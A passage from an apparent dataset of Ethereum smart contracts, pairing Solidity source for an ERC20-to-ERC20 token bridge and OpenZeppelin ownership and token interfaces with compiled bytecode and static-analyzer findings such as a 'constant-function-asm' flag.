| 0x608060405234801561001057600080fd5b50600436106100365760003560e01c80632dc4a03f1461003b57806372bbe04714610064575b600080fd5b61004e610049366004610132565b610075565b60405161005b919061014a565b60405180910390f35b60005460405190815260200161005b565b60606000828154811061009857634e487b7160e01b600052603260045260246000fd5b9060005260206000200180546100ad9061019d565b80601f01602080910402602001604051908101604052809291908181526020018280546100d99061019d565b80156101265780601f106100fb57610100808354040283529160200191610126565b820191906000526020600020905b81548152906001019060200180831161010957829003601f168201915b50505050509050919050565b600060208284031215610143578081fd5b5035919050565b6000602080835283518082850152825b818110156101765785810183015185820160400152820161015a565b818111156101875783604083870101525b50601f01601f1916929092016040019392505050565b600181811c908216806101b157607f821691505b602082108114156101d257634e487b7160e01b600052602260045260246000fd5b5091905056fea26469706673582212203b584217ce36effd0bd2b4e36219a1a343f134274fea6dc3a526812b0ce0182064736f6c63430008040033 | {"success": true, "error": null, "results": {}} | 189 |
0x8180a3951e4268f741704affdd1fbbbc32f7ea05 | pragma solidity 0.4.24;
// File: contracts/ERC677Receiver.sol
contract ERC677Receiver {
function onTokenTransfer(address _from, uint _value, bytes _data) external returns(bool);
}
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
// File: contracts/ERC677.sol
contract ERC677 is ERC20 {
event Transfer(address indexed from, address indexed to, uint value, bytes data);
function transferAndCall(address, uint, bytes) external returns (bool);
}
// File: contracts/IBurnableMintableERC677Token.sol
contract IBurnableMintableERC677Token is ERC677 {
function mint(address, uint256) public returns (bool);
function burn(uint256 _value) public;
function claimTokens(address _token, address _to) public;
}
// File: contracts/IBridgeValidators.sol
interface IBridgeValidators {
function isValidator(address _validator) public view returns(bool);
function requiredSignatures() public view returns(uint256);
function owner() public view returns(address);
}
// File: contracts/libraries/Message.sol
library Message {
// function uintToString(uint256 inputValue) internal pure returns (string) {
// // figure out the length of the resulting string
// uint256 length = 0;
// uint256 currentValue = inputValue;
// do {
// length++;
// currentValue /= 10;
// } while (currentValue != 0);
// // allocate enough memory
// bytes memory result = new bytes(length);
// // construct the string backwards
// uint256 i = length - 1;
// currentValue = inputValue;
// do {
// result[i--] = byte(48 + currentValue % 10);
// currentValue /= 10;
// } while (currentValue != 0);
// return string(result);
// }
function addressArrayContains(address[] array, address value) internal pure returns (bool) {
for (uint256 i = 0; i < array.length; i++) {
if (array[i] == value) {
return true;
}
}
return false;
}
// layout of message :: bytes:
// offset 0: 32 bytes :: uint256 - message length
// offset 32: 20 bytes :: address - recipient address
// offset 52: 32 bytes :: uint256 - value
// offset 84: 32 bytes :: bytes32 - transaction hash
// offset 104: 20 bytes :: address - contract address to prevent double spending
// bytes 1 to 32 are 0 because message length is stored as little endian.
// mload always reads 32 bytes.
// so we can and have to start reading recipient at offset 20 instead of 32.
// if we were to read at 32 the address would contain part of value and be corrupted.
// when reading from offset 20 mload will read 12 zero bytes followed
// by the 20 recipient address bytes and correctly convert it into an address.
// this saves some storage/gas over the alternative solution
// which is padding address to 32 bytes and reading recipient at offset 32.
// for more details see discussion in:
// https://github.com/paritytech/parity-bridge/issues/61
function parseMessage(bytes message)
internal
pure
returns(address recipient, uint256 amount, bytes32 txHash, address contractAddress)
{
require(isMessageValid(message));
assembly {
recipient := and(mload(add(message, 20)), 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF)
amount := mload(add(message, 52))
txHash := mload(add(message, 84))
contractAddress := mload(add(message, 104))
}
}
function isMessageValid(bytes _msg) internal pure returns(bool) {
return _msg.length == requiredMessageLength();
}
function requiredMessageLength() internal pure returns(uint256) {
return 104;
}
function recoverAddressFromSignedMessage(bytes signature, bytes message) internal pure returns (address) {
require(signature.length == 65);
bytes32 r;
bytes32 s;
bytes1 v;
// solium-disable-next-line security/no-inline-assembly
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := mload(add(signature, 0x60))
}
return ecrecover(hashMessage(message), uint8(v), r, s);
}
function hashMessage(bytes message) internal pure returns (bytes32) {
bytes memory prefix = "\x19Ethereum Signed Message:\n";
// message is always 84 length
string memory msgLength = "104";
return keccak256(abi.encodePacked(prefix, msgLength, message));
}
function hasEnoughValidSignatures(
bytes _message,
uint8[] _vs,
bytes32[] _rs,
bytes32[] _ss,
IBridgeValidators _validatorContract) internal view {
require(isMessageValid(_message));
uint256 requiredSignatures = _validatorContract.requiredSignatures();
require(_vs.length >= requiredSignatures);
bytes32 hash = hashMessage(_message);
address[] memory encounteredAddresses = new address[](requiredSignatures);
for (uint256 i = 0; i < requiredSignatures; i++) {
address recoveredAddress = ecrecover(hash, _vs[i], _rs[i], _ss[i]);
require(_validatorContract.isValidator(recoveredAddress));
if (addressArrayContains(encounteredAddresses, recoveredAddress)) {
revert();
}
encounteredAddresses[i] = recoveredAddress;
}
}
}
// File: contracts/libraries/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
// File: contracts/upgradeability/EternalStorage.sol
/**
* @title EternalStorage
* @dev This contract holds all the necessary state variables to carry out the storage of any contract.
*/
contract EternalStorage {
mapping(bytes32 => uint256) internal uintStorage;
mapping(bytes32 => string) internal stringStorage;
mapping(bytes32 => address) internal addressStorage;
mapping(bytes32 => bytes) internal bytesStorage;
mapping(bytes32 => bool) internal boolStorage;
mapping(bytes32 => int256) internal intStorage;
}
// File: contracts/upgradeable_contracts/Validatable.sol
contract Validatable is EternalStorage {
function validatorContract() public view returns(IBridgeValidators) {
return IBridgeValidators(addressStorage[keccak256(abi.encodePacked("validatorContract"))]);
}
modifier onlyValidator() {
require(validatorContract().isValidator(msg.sender));
_;
}
modifier onlyOwner() {
require(validatorContract().owner() == msg.sender);
_;
}
function requiredSignatures() public view returns(uint256) {
return validatorContract().requiredSignatures();
}
}
// File: contracts/upgradeable_contracts/BasicBridge.sol
contract BasicBridge is EternalStorage, Validatable {
using SafeMath for uint256;
event GasPriceChanged(uint256 gasPrice);
event RequiredBlockConfirmationChanged(uint256 requiredBlockConfirmations);
event DailyLimitChanged(uint256 newLimit);
function setGasPrice(uint256 _gasPrice) public onlyOwner {
require(_gasPrice > 0);
uintStorage[keccak256(abi.encodePacked("gasPrice"))] = _gasPrice;
emit GasPriceChanged(_gasPrice);
}
function gasPrice() public view returns(uint256) {
return uintStorage[keccak256(abi.encodePacked("gasPrice"))];
}
function setRequiredBlockConfirmations(uint256 _blockConfirmations) public onlyOwner {
require(_blockConfirmations > 0);
uintStorage[keccak256(abi.encodePacked("requiredBlockConfirmations"))] = _blockConfirmations;
emit RequiredBlockConfirmationChanged(_blockConfirmations);
}
function requiredBlockConfirmations() public view returns(uint256) {
return uintStorage[keccak256(abi.encodePacked("requiredBlockConfirmations"))];
}
function deployedAtBlock() public view returns(uint256) {
return uintStorage[keccak256(abi.encodePacked("deployedAtBlock"))];
}
function setTotalSpentPerDay(uint256 _day, uint256 _value) internal {
uintStorage[keccak256(abi.encodePacked("totalSpentPerDay", _day))] = _value;
}
function totalSpentPerDay(uint256 _day) public view returns(uint256) {
return uintStorage[keccak256(abi.encodePacked("totalSpentPerDay", _day))];
}
function minPerTx() public view returns(uint256) {
return uintStorage[keccak256(abi.encodePacked("minPerTx"))];
}
function maxPerTx() public view returns(uint256) {
return uintStorage[keccak256(abi.encodePacked("maxPerTx"))];
}
function setInitialize(bool _status) internal {
boolStorage[keccak256(abi.encodePacked("isInitialized"))] = _status;
}
function isInitialized() public view returns(bool) {
return boolStorage[keccak256(abi.encodePacked("isInitialized"))];
}
function getCurrentDay() public view returns(uint256) {
return now / 1 days;
}
function setDailyLimit(uint256 _dailyLimit) public onlyOwner {
uintStorage[keccak256(abi.encodePacked("dailyLimit"))] = _dailyLimit;
emit DailyLimitChanged(_dailyLimit);
}
function dailyLimit() public view returns(uint256) {
return uintStorage[keccak256(abi.encodePacked("dailyLimit"))];
}
function setMaxPerTx(uint256 _maxPerTx) external onlyOwner {
require(_maxPerTx < dailyLimit());
uintStorage[keccak256(abi.encodePacked("maxPerTx"))] = _maxPerTx;
}
function setMinPerTx(uint256 _minPerTx) external onlyOwner {
require(_minPerTx < dailyLimit() && _minPerTx < maxPerTx());
uintStorage[keccak256(abi.encodePacked("minPerTx"))] = _minPerTx;
}
function withinLimit(uint256 _amount) public view returns(bool) {
uint256 nextLimit = totalSpentPerDay(getCurrentDay()).add(_amount);
return dailyLimit() >= nextLimit && _amount <= maxPerTx() && _amount >= minPerTx();
}
function claimTokens(address _token, address _to) public onlyOwner {
require(_to != address(0));
if (_token == address(0)) {
_to.transfer(address(this).balance);
return;
}
ERC20Basic token = ERC20Basic(_token);
uint256 balance = token.balanceOf(this);
require(token.transfer(_to, balance));
}
}
// File: contracts/upgradeable_contracts/BasicForeignBridge.sol
contract BasicForeignBridge is EternalStorage, Validatable {
using SafeMath for uint256;
/// triggered when relay of deposit from HomeBridge is complete
event RelayedMessage(address recipient, uint value, bytes32 transactionHash);
function executeSignatures(uint8[] vs, bytes32[] rs, bytes32[] ss, bytes message) external {
Message.hasEnoughValidSignatures(message, vs, rs, ss, validatorContract());
address recipient;
uint256 amount;
bytes32 txHash;
address contractAddress;
(recipient, amount, txHash, contractAddress) = Message.parseMessage(message);
require(contractAddress == address(this));
require(!relayedMessages(txHash));
setRelayedMessages(txHash, true);
require(onExecuteMessage(recipient, amount));
emit RelayedMessage(recipient, amount, txHash);
}
function onExecuteMessage(address, uint256) internal returns(bool){
// has to be defined
}
function setRelayedMessages(bytes32 _txHash, bool _status) internal {
boolStorage[keccak256(abi.encodePacked("relayedMessages", _txHash))] = _status;
}
function relayedMessages(bytes32 _txHash) public view returns(bool) {
return boolStorage[keccak256(abi.encodePacked("relayedMessages", _txHash))];
}
}
// File: contracts/upgradeable_contracts/erc20_to_erc20/ForeignBridgeErcToErc.sol
contract ForeignBridgeErcToErc is BasicBridge, BasicForeignBridge {
event RelayedMessage(address recipient, uint value, bytes32 transactionHash);
function initialize(
address _validatorContract,
address _erc20token
) public returns(bool) {
require(!isInitialized());
require(_validatorContract != address(0));
addressStorage[keccak256(abi.encodePacked("validatorContract"))] = _validatorContract;
setErc20token(_erc20token);
uintStorage[keccak256(abi.encodePacked("deployedAtBlock"))] = block.number;
setInitialize(true);
return isInitialized();
}
function claimTokens(address _token, address _to) public onlyOwner {
require(_token != address(erc20token()));
super.claimTokens(_token, _to);
}
function erc20token() public view returns(ERC20Basic) {
return ERC20Basic(addressStorage[keccak256(abi.encodePacked("erc20token"))]);
}
function onExecuteMessage(address _recipient, uint256 _amount) internal returns(bool){
return erc20token().transfer(_recipient, _amount);
}
function setErc20token(address _token) private {
require(_token != address(0));
addressStorage[keccak256(abi.encodePacked("erc20token"))] = _token;
}
} | 0x60806040526004361061010e5763ffffffff60e060020a6000350416631dcea427811461011357806321d800ec14610144578063232a2c1d146101705780632bd0bb05146101b6578063392e53cd146101e05780633e6968b6146101f55780633f0a9f651461020a578063485cc9551461021f57806367eeba0c1461024657806369ffa08a1461025b5780638d0680431461028257806399439089146102975780639a454b99146102ac578063a2a6ca27146102c1578063acf5c689146102d9578063b20d30a9146102f1578063bf1fe42014610309578063c6f6f21614610321578063df25f3f014610339578063ea9f49681461034e578063f968adbe14610366578063fe173b971461037b575b600080fd5b34801561011f57600080fd5b50610128610390565b60408051600160a060020a039092168252519081900360200190f35b34801561015057600080fd5b5061015c60043561044e565b604080519115158252519081900360200190f35b34801561017c57600080fd5b506101b46024600480358281019290820135918135808301929082013591604435808301929082013591606435918201910135610517565b005b3480156101c257600080fd5b506101ce6004356106d1565b60408051918252519081900360200190f35b3480156101ec57600080fd5b5061015c61078e565b34801561020157600080fd5b506101ce610846565b34801561021657600080fd5b506101ce61084f565b34801561022b57600080fd5b5061015c600160a060020a0360043581169060243516610903565b34801561025257600080fd5b506101ce610add565b34801561026757600080fd5b506101b4600160a060020a0360043581169060243516610b50565b34801561028e57600080fd5b506101ce610c03565b3480156102a357600080fd5b50610128610c7b565b3480156102b857600080fd5b506101ce610cef565b3480156102cd57600080fd5b506101b4600435610d62565b3480156102e557600080fd5b506101b4600435610ec2565b3480156102fd57600080fd5b506101b460043561103a565b34801561031557600080fd5b506101b46004356111a5565b34801561032d57600080fd5b506101b460043561131d565b34801561034557600080fd5b506101ce611427565b34801561035a57600080fd5b5061015c60043561149a565b34801561037257600080fd5b506101ce6114f6565b34801561038757600080fd5b506101ce611569565b60006002600060405160200180807f6572633230746f6b656e00000000000000000000000000000000000000000000815250600a0190506040516020818303038152906040526040518082805190602001908083835b602083106104055780518252601f1990920191602091820191016103e6565b51815160209384036101000a6000190180199092169116179052604080519290940182900390912086528501959095529290920160002054600160a060020a0316949350505050565b6000600460008360405160200180807f72656c617965644d657373616765730000000000000000000000000000000000815250600f0182600019166000191681526020019150506040516020818303038152906040526040518082805190602001908083835b602083106104d35780518252601f1990920191602091820191016104b4565b51815160209384036101000a600019018019909216911617905260408051929094018290039091208652850195909552929092016000205460ff1695945050505050565b6000806000806105ef86868080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050508d8d808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050508c8c808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050508b8b80806020026020016040519081016040528093929190818152602001838360200280828437506105ea9450610c7b9350505050565b6115dc565b61062886868080601f01602080910402602001604051908101604052809392919081815260200183838082843750611849945050505050565b92965090945092509050600160a060020a038116301461064757600080fd5b6106508261044e565b1561065a57600080fd5b61066582600161188f565b61066f8484611961565b151561067a57600080fd5b60408051600160a060020a03861681526020810185905280820184905290517f4ab7d581336d92edbea22636a613e8e76c99ac7f91137c1523db38dbfb3bf3299181900360600190a1505050505050505050505050565b60008060008360405160200180807f746f74616c5370656e74506572446179000000000000000000000000000000008152506010018281526020019150506040516020818303038152906040526040518082805190602001908083835b6020831061074d5780518252601f19909201916020918201910161072e565b51815160209384036101000a600019018019909216911617905260408051929094018290039091208652850195909552929092016000205495945050505050565b60006004600060405160200180807f6973496e697469616c697a656400000000000000000000000000000000000000815250600d0190506040516020818303038152906040526040518082805190602001908083835b602083106108035780518252601f1990920191602091820191016107e4565b51815160209384036101000a600019018019909216911617905260408051929094018290039091208652850195909552929092016000205460ff16949350505050565b62015180420490565b600080600060405160200180807f7265717569726564426c6f636b436f6e6669726d6174696f6e73000000000000815250601a0190506040516020818303038152906040526040518082805190602001908083835b602083106108c35780518252601f1990920191602091820191016108a4565b51815160209384036101000a6000190180199092169116179052604080519290940182900390912086528501959095529290920160002054949350505050565b600061090d61078e565b1561091757600080fd5b600160a060020a038316151561092c57600080fd5b826002600060405160200180807f76616c696461746f72436f6e747261637400000000000000000000000000000081525060110190506040516020818303038152906040526040518082805190602001908083835b602083106109a05780518252601f199092019160209182019101610981565b51815160209384036101000a60001901801990921691161790526040805192909401829003909120865285019590955292909201600020805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03959095169490941790935550610a119150839050611a00565b4360008060405160200180807f6465706c6f7965644174426c6f636b0000000000000000000000000000000000815250600f0190506040516020818303038152906040526040518082805190602001908083835b60208310610a845780518252601f199092019160209182019101610a65565b51815160209384036101000a600019018019909216911617905260408051929094018290039091208652850195909552929092016000209390935550610ace915060019050611af2565b610ad661078e565b9392505050565b600080600060405160200180807f6461696c794c696d697400000000000000000000000000000000000000000000815250600a019050604051602081830303815290604052604051808280519060200190808383602083106108c35780518252601f1990920191602091820191016108a4565b33610b59610c7b565b600160a060020a0316638da5cb5b6040518163ffffffff1660e060020a028152600401602060405180830381600087803b158015610b9657600080fd5b505af1158015610baa573d6000803e3d6000fd5b505050506040513d6020811015610bc057600080fd5b5051600160a060020a031614610bd557600080fd5b610bdd610390565b600160a060020a0383811691161415610bf557600080fd5b610bff8282611bb3565b5050565b6000610c0d610c7b565b600160a060020a0316638d0680436040518163ffffffff1660e060020a028152600401602060405180830381600087803b158015610c4a57600080fd5b505af1158015610c5e573d6000803e3d6000fd5b505050506040513d6020811015610c7457600080fd5b5051905090565b60006002600060405160200180807f76616c696461746f72436f6e74726163740000000000000000000000000000008152506011019050604051602081830303815290604052604051808280519060200190808383602083106104055780518252601f1990920191602091820191016103e6565b600080600060405160200180807f6465706c6f7965644174426c6f636b0000000000000000000000000000000000815250600f019050604051602081830303815290604052604051808280519060200190808383602083106108c35780518252601f1990920191602091820191016108a4565b33610d6b610c7b565b600160a060020a0316638da5cb5b6040518163ffffffff1660e060020a028152600401602060405180830381600087803b158015610da857600080fd5b505af1158015610dbc573d6000803e3d6000fd5b505050506040513d6020811015610dd257600080fd5b5051600160a060020a031614610de757600080fd5b610def610add565b81108015610e035750610e006114f6565b81105b1515610e0e57600080fd5b8060008060405160200180807f6d696e506572547800000000000000000000000000000000000000000000000081525060080190506040516020818303038152906040526040518082805190602001908083835b60208310610e815780518252601f199092019160209182019101610e62565b51815160209384036101000a600019018019909216911617905260408051929094018290039091208652850195909552929092016000209390935550505050565b33610ecb610c7b565b600160a060020a0316638da5cb5b6040518163ffffffff1660e060020a028152600401602060405180830381600087803b158015610f0857600080fd5b505af1158015610f1c573d6000803e3d6000fd5b505050506040513d6020811015610f3257600080fd5b5051600160a060020a031614610f4757600080fd5b60008111610f5457600080fd5b8060008060405160200180807f7265717569726564426c6f636b436f6e6669726d6174696f6e73000000000000815250601a0190506040516020818303038152906040526040518082805190602001908083835b60208310610fc75780518252601f199092019160209182019101610fa8565b51815160001960209485036101000a019081169019919091161790526040805194909201849003909320865285830196909652509284016000209490945550815184815291517f4fb76205cd57c896b21511d2114137d8e901b4ccd659e1a0f97d6306795264fb9350918290030190a150565b33611043610c7b565b600160a060020a0316638da5cb5b6040518163ffffffff1660e060020a028152600401602060405180830381600087803b15801561108057600080fd5b505af1158015611094573d6000803e3d6000fd5b505050506040513d60208110156110aa57600080fd5b5051600160a060020a0316146110bf57600080fd5b8060008060405160200180807f6461696c794c696d697400000000000000000000000000000000000000000000815250600a0190506040516020818303038152906040526040518082805190602001908083835b602083106111325780518252601f199092019160209182019101611113565b51815160001960209485036101000a019081169019919091161790526040805194909201849003909320865285830196909652509284016000209490945550815184815291517fad4123ae17c414d9c6d2fec478b402e6b01856cc250fd01fbfd252fda0089d3c9350918290030190a150565b336111ae610c7b565b600160a060020a0316638da5cb5b6040518163ffffffff1660e060020a028152600401602060405180830381600087803b1580156111eb57600080fd5b505af11580156111ff573d6000803e3d6000fd5b505050506040513d602081101561121557600080fd5b5051600160a060020a03161461122a57600080fd5b6000811161123757600080fd5b8060008060405160200180807f676173507269636500000000000000000000000000000000000000000000000081525060080190506040516020818303038152906040526040518082805190602001908083835b602083106112aa5780518252601f19909201916020918201910161128b565b51815160001960209485036101000a019081169019919091161790526040805194909201849003909320865285830196909652509284016000209490945550815184815291517f52264b89e0fceafb26e79fd49ef8a366eb6297483bf4035b027f0c99a7ad512e9350918290030190a150565b33611326610c7b565b600160a060020a0316638da5cb5b6040518163ffffffff1660e060020a028152600401602060405180830381600087803b15801561136357600080fd5b505af1158015611377573d6000803e3d6000fd5b505050506040513d602081101561138d57600080fd5b5051600160a060020a0316146113a257600080fd5b6113aa610add565b81106113b557600080fd5b8060008060405160200180807f6d61785065725478000000000000000000000000000000000000000000000000815250600801905060405160208183030381529060405260405180828051906020019080838360208310610e815780518252601f199092019160209182019101610e62565b600080600060405160200180807f6d696e50657254780000000000000000000000000000000000000000000000008152506008019050604051602081830303815290604052604051808280519060200190808383602083106108c35780518252601f1990920191602091820191016108a4565b6000806114bd836114b16114ac610846565b6106d1565b9063ffffffff611dd816565b9050806114c8610add565b101580156114dd57506114d96114f6565b8311155b8015610ad657506114ec611427565b8310159392505050565b600080600060405160200180807f6d617850657254780000000000000000000000000000000000000000000000008152506008019050604051602081830303815290604052604051808280519060200190808383602083106108c35780518252601f1990920191602091820191016108a4565b600080600060405160200180807f67617350726963650000000000000000000000000000000000000000000000008152506008019050604051602081830303815290604052604051808280519060200190808383602083106108c35780518252601f1990920191602091820191016108a4565b60008060606000806115ed8a611df2565b15156115f857600080fd5b85600160a060020a0316638d0680436040518163ffffffff1660e060020a028152600401602060405180830381600087803b15801561163657600080fd5b505af115801561164a573d6000803e3d6000fd5b505050506040513d602081101561166057600080fd5b5051895190955085111561167357600080fd5b61167c8a611e06565b9350846040519080825280602002602001820160405280156116a8578160200160208202803883390190505b509250600091505b8482101561183d576001848a848151811015156116c957fe5b906020019060200201518a858151811015156116e157fe5b906020019060200201518a868151811015156116f957fe5b60209081029091018101516040805160008082528185018084529790975260ff9095168582015260608501939093526080840152905160a0808401949293601f19830193908390039091019190865af115801561175a573d6000803e3d6000fd5b50505060206040510351905085600160a060020a031663facd743b826040518263ffffffff1660e060020a0281526004018082600160a060020a0316600160a060020a03168152602001915050602060405180830381600087803b1580156117c157600080fd5b505af11580156117d5573d6000803e3d6000fd5b505050506040513d60208110156117eb57600080fd5b505115156117f857600080fd5b6118028382611fcb565b1561180c57600080fd5b80838381518110151561181b57fe5b600160a060020a039092166020928302909101909101526001909101906116b0565b50505050505050505050565b60008060008061185885611df2565b151561186357600080fd5b600160a060020a0360148601511693506034850151925060548501519150606885015190509193509193565b80600460008460405160200180807f72656c617965644d657373616765730000000000000000000000000000000000815250600f0182600019166000191681526020019150506040516020818303038152906040526040518082805190602001908083835b602083106119135780518252601f1990920191602091820191016118f4565b51815160209384036101000a60001901801990921691161790526040805192909401829003909120865285019590955292909201600020805460ff1916941515949094179093555050505050565b600061196b610390565b600160a060020a031663a9059cbb84846040518363ffffffff1660e060020a0281526004018083600160a060020a0316600160a060020a0316815260200182815260200192505050602060405180830381600087803b1580156119cd57600080fd5b505af11580156119e1573d6000803e3d6000fd5b505050506040513d60208110156119f757600080fd5b50519392505050565b600160a060020a0381161515611a1557600080fd5b806002600060405160200180807f6572633230746f6b656e00000000000000000000000000000000000000000000815250600a0190506040516020818303038152906040526040518082805190602001908083835b60208310611a895780518252601f199092019160209182019101611a6a565b51815160209384036101000a60001901801990921691161790526040805192909401829003909120865285019590955292909201600020805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03959095169490941790935550505050565b806004600060405160200180807f6973496e697469616c697a656400000000000000000000000000000000000000815250600d0190506040516020818303038152906040526040518082805190602001908083835b60208310611b665780518252601f199092019160209182019101611b47565b51815160209384036101000a60001901801990921691161790526040805192909401829003909120865285019590955292909201600020805460ff19169415159490941790935550505050565b60008033611bbf610c7b565b600160a060020a0316638da5cb5b6040518163ffffffff1660e060020a028152600401602060405180830381600087803b158015611bfc57600080fd5b505af1158015611c10573d6000803e3d6000fd5b505050506040513d6020811015611c2657600080fd5b5051600160a060020a031614611c3b57600080fd5b600160a060020a0383161515611c5057600080fd5b600160a060020a0384161515611c9c57604051600160a060020a03841690303180156108fc02916000818181858888f19350505050158015611c96573d6000803e3d6000fd5b50611dd2565b604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051859350600160a060020a038416916370a082319160248083019260209291908290030181600087803b158015611d0057600080fd5b505af1158015611d14573d6000803e3d6000fd5b505050506040513d6020811015611d2a57600080fd5b5051604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a0386811660048301526024820184905291519293509084169163a9059cbb916044808201926020929091908290030181600087803b158015611d9b57600080fd5b505af1158015611daf573d6000803e3d6000fd5b505050506040513d6020811015611dc557600080fd5b50511515611dd257600080fd5b50505050565b600082820183811015611de757fe5b8091505b5092915050565b6000611dfc612024565b8251149050919050565b604080518082018252601a81527f19457468657265756d205369676e6564204d6573736167653a0a000000000000602080830191825283518085018552600381527f313034000000000000000000000000000000000000000000000000000000000081830152935183516000959385938593899391019182918083835b60208310611ea25780518252601f199092019160209182019101611e83565b51815160209384036101000a600019018019909216911617905286519190930192860191508083835b60208310611eea5780518252601f199092019160209182019101611ecb565b51815160209384036101000a600019018019909216911617905285519190930192850191508083835b60208310611f325780518252601f199092019160209182019101611f13565b6001836020036101000a03801982511681845116808217855250505050505090500193505050506040516020818303038152906040526040518082805190602001908083835b60208310611f975780518252601f199092019160209182019101611f78565b5181516020939093036101000a60001901801990911692169190911790526040519201829003909120979650505050505050565b6000805b835181101561201a5782600160a060020a03168482815181101515611ff057fe5b90602001906020020151600160a060020a031614156120125760019150611deb565b600101611fcf565b5060009392505050565b6068905600a165627a7a723058200a07d2ce556b56ee4c3ccf5cacb64b8b37206b5af8ffd45afba460f3389beca50029 | {"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}]}} | 190 |
0x813fd5a7b6f6d792bf9c03bbf02ec3f08c9f98b2 | //SPDX-License-Identifier: MIT
// File: @openzeppelin/contracts/ownership/Ownable.sol
pragma solidity ^0.7.1;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == _owner, "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/token/ERC20/SafeERC20.sol
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
